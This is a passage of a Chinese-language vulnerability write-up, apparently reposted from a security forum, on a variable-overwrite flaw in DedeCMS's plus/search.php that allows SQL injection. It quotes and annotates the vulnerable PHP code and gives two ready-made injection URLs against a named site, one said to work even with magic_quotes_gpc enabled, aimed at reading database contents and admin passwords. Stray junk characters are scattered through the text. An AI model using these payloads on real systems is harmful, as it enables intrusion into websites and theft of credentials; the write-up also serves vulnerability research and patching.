微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
/ m8 l! x: {5 I% i, `1 r8 k作者: c4rp3nt3r@0x50sec.org
7 j" }* y# l2 B3 r8 q8 G, NDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
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9 d1 [- D8 W$ n; ~; k黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
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============
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Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
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& p7 p( D. Y4 i! S4 n1 Irequire_once(dirname(__FILE__).”/../include/common.inc.php”);1 y: X* V! z1 c
require_once(DEDEINC.”/arc.searchview.class.php”);
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$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
* o+ T2 @4 G) w* j$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
! c; a2 j) L0 l0 |( C$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
7 y. S b* M0 A5 P" M$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;9 ] y) } {: @5 i. \
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;3 I j4 {7 E. e! Y! F2 s# v
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if(!isset($orderby)) $orderby=”;
- ^; k* p- G6 ]$ T1 h9 xelse $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
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if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
3 V3 a* r6 e8 t+ I# _$ B- n4 melse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
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2 F. g; ~# J0 Wif(!isset($keyword)){5 \7 ?: H3 V( k U( U1 `* @
if(!isset($q)) $q = ”;1 Y5 z) T% X; L1 x, r
$keyword=$q;
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$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));+ V* n' }+ Y5 U2 J
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//查找栏目信息
# ^! J/ _. |! S( nif(empty($typeid)) }6 d' h# F9 ~9 d% A; ?# x- p
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$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;3 T. I$ v6 o- s5 d$ i0 U- r
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
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$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
8 `4 e m/ p7 t' N; x9 w% V5 R fwrite($fp, “<”.”?php\r\n”);
5 Q7 E0 F Z8 t" T $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);( A8 i7 P. ]) a2 j7 X, n6 N
$dsql->Execute();6 M8 ^( Z! }0 C( h7 j! z
while($row = $dsql->GetArray())
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fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
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- P+ ?7 e# j" ~& f/ i; r6 K fwrite($fp, ‘?’.'>’);
6 t: p: p- m, S fclose($fp);
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//引入栏目缓存并看关键字是否有相关栏目内容
) P& R% }, Y" P- e9 ]) n( W require_once($typenameCacheFile);( p: h u) b4 u/ ?& E7 y! U
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
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if(isset($typeArr) && is_array($typeArr))( z( I2 I B8 x% R$ z; I
{$ {& a2 R$ T& A# ^
foreach($typeArr as $id=>$typename)' r; [# p$ S+ P% o) A
{
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<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
) [7 w$ A0 E/ _ if($keyword != $keywordn)5 P/ q0 v( H' P- Z! P4 [9 p" M
{
7 i! q1 n% U# ?3 I2 p( [ $keyword = $keywordn;
2 C0 _7 L. z' x4 a* H1 c/ ` <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设# k( H: ~6 h& m( P
break;
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然后plus/search.php文件下面定义了一个 Search类的对象 .
3 b8 H+ K8 z8 R- k, }4 a在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.( g7 u3 C' i2 @( B9 W
$this->TypeLink = new TypeLink($typeid);
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TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.+ N. L J) R6 T6 ?
+ ~# p3 @- k$ J# F8 x7 v, e3 uclass TypeLink
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9 r& i# P$ h7 {5 h m- u1 w) m9 q& n, _ var $typeDir;% }( @. |) d2 l T7 s
var $dsql;
+ M2 O+ m1 `6 ]8 v# l4 @& H$ \ var $TypeID;
`$ O9 b+ F) n9 _ var $baseDir;2 J* ~3 Q- l6 U5 w9 @) d# b
var $modDir;0 P e& q8 \$ ^; g6 j* R9 b$ ?
var $indexUrl;: k# [; k6 V" B, O% ]
var $indexName;
; [9 L% o5 K7 G, f' X' L4 f var $TypeInfos;: r; _% u2 L4 O' z7 R
var $SplitSymbol;
3 d* X! ^& K1 m8 A# _ b var $valuePosition;
, Q% }4 O! n; ?8 ? var $valuePositionName;7 f. P0 o) v8 c# d$ U9 }5 W" b
var $OptionArrayList;//构造函数///////
: c- x( |" T( B //php5构造函数
' g1 K6 n+ i3 C# F& Z6 Y8 z3 o function __construct($typeid)
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( S9 {$ u- q1 h3 ?2 @ $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl']; i, d; E! P8 ]
$this->indexName = $GLOBALS['cfg_indexname'];+ K& c" t6 `- {" p4 m$ c. B. _
$this->baseDir = $GLOBALS['cfg_basedir'];& e8 E; G3 L0 H5 ]: G- Q
$this->modDir = $GLOBALS['cfg_templets_dir'];
3 a+ A6 w/ p, I2 J# K6 U# k $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
% r% N4 Q, n. m. Z $this->dsql = $GLOBALS['dsql'];* j1 C a$ ^9 U; y
$this->TypeID = $typeid;
* g# P$ R! M0 l" E2 Y$ j $this->valuePosition = ”;
1 ?" G/ Y" h6 ^& e+ y6 i $this->valuePositionName = ”;* |# i0 i3 H) n
$this->typeDir = ”;
% Y t4 ?& ] K; I2 H" |8 w% q! \ $this->OptionArrayList = ”;$ j; `, s) T# A4 W
! a4 ]& N9 m" J1 U* ?& F //载入类目信息0 }1 Q S7 m' @; v- P% z# V
; M, z/ F$ h% ?. O0 T' h <font color=”Red”>$query = “SELECT tp.*,ch.typename as) g( n+ a5 @* L t0 c8 ?' C
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
) L; H! L/ m9 ^) W) A/ I`#@__channeltype` ch
' u8 S# S$ b7 S( f on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿1 I F- |% T" ~/ w9 n
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if($typeid > 0)
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$this->TypeInfos = $this->dsql->GetOne($query);0 J7 w0 w/ A. x3 g0 c2 W3 ~
利用代码一 需要 即使magic_quotes_gpc = Off
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. `; V1 ^: @* m2 cwww.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title" X, ?4 L6 f6 z& Q% ?
^" i4 R$ h9 l+ b8 t% s! o这只是其中一个利用代码… Search 类的构造函数再往下
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……省略
. I* H& | K. q) X) T& H e. E5 E! J$this->TypeID = $typeid;# B8 [8 z# O9 ?+ \& B
……省略
2 m$ T+ u7 L5 F! tif($this->TypeID==”0″){
) p3 u1 ^$ y' A6 L5 z $this->ChannelTypeid=1;, X8 l3 p) p, U6 n8 Z: Q
}else{
& u/ f1 d) H/ l: u: R! ~/ ~: @" z $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲1 m% x0 K" Q6 I# m7 F" Y! S
//现在不鸡肋了吧亲…- H, |8 B. l- X8 A+ X8 C2 [& i
$this->ChannelTypeid=$row['channeltype'];# t; Y* `+ X! q3 p# z' r
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3 c4 K* f6 |( L& |& M利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.8 R/ y4 ~) F% v2 s/ ^" F$ W1 n
; K6 L. \- R" Z% j( ]* lwww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
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如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
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